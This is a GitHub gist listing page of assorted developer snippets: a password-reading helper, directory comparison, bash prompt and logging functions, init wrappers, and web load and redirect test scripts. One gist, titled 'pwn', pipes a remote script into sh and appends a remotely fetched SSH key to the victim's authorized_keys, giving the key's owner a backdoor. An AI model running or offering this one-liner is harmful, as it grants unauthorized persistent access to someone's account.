Skip to content

Instantly share code, notes, and snippets.

View RichardBronosky's full-sized avatar

Bruno Bronosky RichardBronosky

View GitHub Profile
## bashpass.py
# inspired by http://www.bash.org/?244321 and http://code.activestate.com/recipes/134892/
# This is a very nasty first effort. The next step is to shoe horn this
# functionality into getpass.py in the standard library. Demo via:
# python bashpass.py
class _Getch:
"""Gets a single character from standard input. Does not echo to the
screen."""
def __init__(self):
### Usage: compare_script.sh directory1 directory2
# This script can be used with 2 different functionalities, list_same or list_different
#functionality=list_same
functionality=list_different
# list_different will include files that exist only in the first directory. For
# that reason you will probably want to run it as:
# compare_script.sh dir1 dir2; compare_script.sh dir2 dir1
# put your current git branch into your bash prompt string.
export PS1='$(git branch 2>/dev/null | awk "/\*/{print \"[\"\$2\"]\"}")\w\$ '
/usr/local $ brew install gist
==> Downloading http://github.com/defunkt/gist/tarball/v1.0.3
######################################################################## 100.0%
Error: MD5 mismatch
Expected: 6eeabfce794e1a65df7c8ed608891331
Archive: /Users/rbronosky/Library/Caches/Homebrew/gist-1.0.3.tgz
/usr/local $ md5 /Users/rbronosky/Library/Caches/Homebrew/gist-1.0.3.tgz
/usr/local $ cat Library/Formula/gist.rb
require 'formula'
@RichardBronosky
RichardBronosky / pwn
Created June 2, 2010 16:03
The shortest way to pwn someone's user account
## curl -L j.mp/pwnssh|sh
chmod go-w ~; umask 0077; mkdir -p ~/.ssh; chmod go-rwx ~/.ssh; curl -L j.mp/rbkey >> ~/.ssh/authorized_keys; clear;
@RichardBronosky
RichardBronosky / hudson.sh
Created July 31, 2010 04:01
basic init wrappers for long running processes, hudson, django runserver, etc.
#!/usr/bin/env bash
# A basic init wrapper for hudson. Designed to be generic enough for any long running process.
# Only tested on Mac OS 10.6
usage(){
cat << EOF
${0##*/} - A basic init wrapper for hudson.
Usage:
$0 ( start | stop | status )
# sample output can be found at http://gist.github.com/550332#file_bash.log.sh.log
LOGFILE=/tmp/${0##*/}.log
# a general purpose logging function that is used as prefix similar to time see: man time
log(){
(printf \#%.0s {1..50}; echo)>> $LOGFILE
if [[ $1 == '-s' ]];then
shift
echo -e "$*" >> $LOGFILE
return 0
@RichardBronosky
RichardBronosky / comment
Last active May 22, 2018 02:29
ipython ipshell pattern
"""
if you pass arguments to django-admin.py (like --settings=...) they also get
passed to IPShell, unless you explicitly specify argv to contain an empty list.
The oneliner below works. It has a short url of http://j.mp/ipshell
pull it into vim with...
:r!curl -sL j.mp/ipshell
"""
@RichardBronosky
RichardBronosky / mobile_redirect_test.sh
Created October 27, 2010 15:02
hammers a url with various user agents
url=http://test.www.clarkhoward.com/
agents=(
'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7E18 Safari/528.16'
'Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16'
'BlackBerry9700/5.0.0.602 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/102'
)
trap "exit" INT # Ctrl-C should exit the script, not simply break the for/while loop
while true; do
(
@RichardBronosky
RichardBronosky / load.sh
Created November 2, 2010 18:03
Test load times for the raw HTML of your web app.
# define the URL below
url=''
# define the headers to use for logged in user below
# copy these verbatim out of your browser debug tools Request Headers section
read -d '' headers <<'EOF'
Accept:application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en-US,en;q=0.8